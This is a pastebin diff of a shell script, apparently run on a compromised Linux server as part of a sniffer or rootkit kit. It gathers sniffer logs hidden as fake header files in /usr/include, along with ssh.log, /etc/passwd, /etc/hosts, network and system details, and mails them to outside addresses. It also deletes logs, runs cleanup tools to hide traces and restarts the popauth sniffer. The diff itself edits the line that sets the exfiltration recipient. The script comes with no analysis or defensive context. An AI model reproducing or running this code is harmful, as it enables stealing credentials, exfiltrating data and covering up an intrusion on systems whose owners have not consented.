SHOW:
|
|
- or go back to the newest paste.
| 1 | #!/bin/sh | |
| 2 | cd /usr/lib/ | |
| 3 | ./popauth -r httpd.log >> test | |
| 4 | echo "$(uptime)" >> test | |
| 5 | rm -rf httpd.log | |
| 6 | echo "named.sn" | |
| 7 | cat /usr/lib/named/named.sn >> test | |
| 8 | rm -rf /usr/lib/named/named.sn | |
| 9 | cd /usr/lib/named | |
| 10 | ./clean | |
| 11 | ./cleanssh | |
| 12 | echo "ssh.log" >> /usr/lib/test | |
| 13 | cat ssh.log >> /usr/lib/test | |
| 14 | cd /usr/lib/ | |
| 15 | mail [email protected] -s "test" < test | |
| 16 | mail [email protected] -s "sniffing.." < mail | |
| 17 | A=$PATH | |
| 18 | killall -9 popauth | |
| 19 | export PATH=/usr/lib/ | |
| 20 | popauth -w httpd.log & | |
| 21 | export PATH=$A | |
| 22 | echo ####################################################################################################### >> /usr/lib/bash2 | |
| 23 | echo Server Info IP : >> /usr/lib/bash2 | |
| 24 | echo >> /usr/lib/bash2 | |
| 25 | /sbin/ifconfig |grep inet >> /usr/lib/bash2 | |
| 26 | echo ____________________________________________________________ >> /usr/lib/bash2 | |
| 27 | echo Versiunea : >> /usr/lib/bash2 | |
| 28 | echo >> /usr/lib/bash2 | |
| 29 | uname -a >> /usr/lib/bash2 | |
| 30 | echo ____________________________________________________________ >> /usr/lib/bash2 | |
| 31 | echo Server Host Info : >> /usr/lib/bash2 | |
| 32 | echo >> /usr/lib/bash2 | |
| 33 | cat /etc/hosts >> /usr/lib/bash2 | |
| 34 | echo ____________________________________________________________ >> /usr/lib/bash2 | |
| 35 | echo ____________________________________________________________ >> /usr/lib/bash2 | |
| 36 | ls -a /var/named >> /usr/lib/bash2 | |
| 37 | echo ____________________________________________________________ >> /usr/lib/bash2 | |
| 38 | echo UpTime Sever Info : >> /usr/lib/bash2 | |
| 39 | echo >> /usr/lib/bash2 | |
| 40 | uptime >> /usr/lib/bash2 | |
| 41 | echo ____________________________________________________________ >> /usr/lib/bash2 | |
| 42 | echo ____________________________________________________________ >> /usr/lib/bash2 | |
| 43 | w >> /usr/lib/bash2 | |
| 44 | echo ____________________________________________________________ >> /usr/lib/bash2 | |
| 45 | echo ============================================================ >> /usr/lib/bash2 | |
| 46 | echo ============================================================ >> /usr/lib/bash2 | |
| 47 | echo Server Snifer Log SheLL : >> /usr/lib/bash2 | |
| 48 | echo ============================================================ >> /usr/lib/bash2 | |
| 49 | echo ============================================================ >> /usr/lib/bash2 | |
| 50 | cat /usr/include/gpmh2.h >> /usr/lib/bash2 | |
| 51 | echo ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ >> /usr/lib/bash2 | |
| 52 | echo ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ >> /usr/lib/bash2 | |
| 53 | echo ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ >> /usr/lib/bash2 | |
| 54 | echo ____________________________________________________________ >> /usr/lib/bash2 | |
| 55 | echo ============================================================ >> /usr/lib/bash2 | |
| 56 | echo ============================================================ >> /usr/lib/bash2 | |
| 57 | echo Server Snifer Log KaLIMeRO : >> /usr/lib/bash2 | |
| 58 | echo ============================================================ >> /usr/lib/bash2 | |
| 59 | echo ============================================================ >> /usr/lib/bash2 | |
| 60 | cat /usr/include/gpm2.h|mail >> /usr/lib/bash2 | |
| 61 | echo ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ >> /usr/lib/bash2 | |
| 62 | echo ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ >> /usr/lib/bash2 | |
| 63 | echo ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ >> /usr/lib/bash2 | |
| 64 | echo ____________________________________________________________ >> /usr/lib/bash2 | |
| 65 | echo ============================================================ >> /usr/lib/bash2 | |
| 66 | echo ============================================================ >> /usr/lib/bash2 | |
| 67 | echo Server Snifer Log BackUP : >> /usr/lib/bash2 | |
| 68 | echo ============================================================ >> /usr/lib/bash2 | |
| 69 | echo ============================================================ >> /usr/lib/bash2 | |
| 70 | cat /usr/include/cat.h >> /usr/lib/bash2 | |
| 71 | echo ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ >> /usr/lib/bash2 | |
| 72 | cat /usr/include/cat2.h >> /usr/lib/bash2 | |
| 73 | echo ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ >> /usr/lib/bash2 | |
| 74 | echo ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ >> /usr/lib/bash2 | |
| 75 | echo ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ >> /usr/lib/bash2 | |
| 76 | echo ____________________________________________________________ >> /usr/lib/bash2 | |
| 77 | echo Lista Useri : >> /usr/lib/bash2 | |
| 78 | echo >> /usr/lib/bash2 | |
| 79 | cat /etc/passwd >> /usr/lib/bash2 | |
| 80 | echo ____________________________________________________________ >> /usr/lib/bash2 | |
| 81 | echo ############################################################ >> /usr/lib/bash2 | |
| 82 | cd /usr/lib/ | |
| 83 | - | cat /usr/lib/bash2|mail -s "Every-Day" [email protected] |
| 83 | + | cat /usr/lib/bash2|mail -s "Every-Day" [email protected] |
| 84 | cd /tmp | |
| 85 | rm -rf /usr/lib/bash2 | |
| 86 | cat /usr/include/gpmh2.h >> /usr/include/cat.h | |
| 87 | cat /usr/include/gpm2.h >> /usr/include/cat2.h | |
| 88 | rm -rf /usr/include/gpmh2.h | |
| 89 | touch /usr/include/gpmh2.h | |
| 90 | rm -rf /usr/include/gpm2.h | |
| 91 | touch /usr/include/gpmh2.h |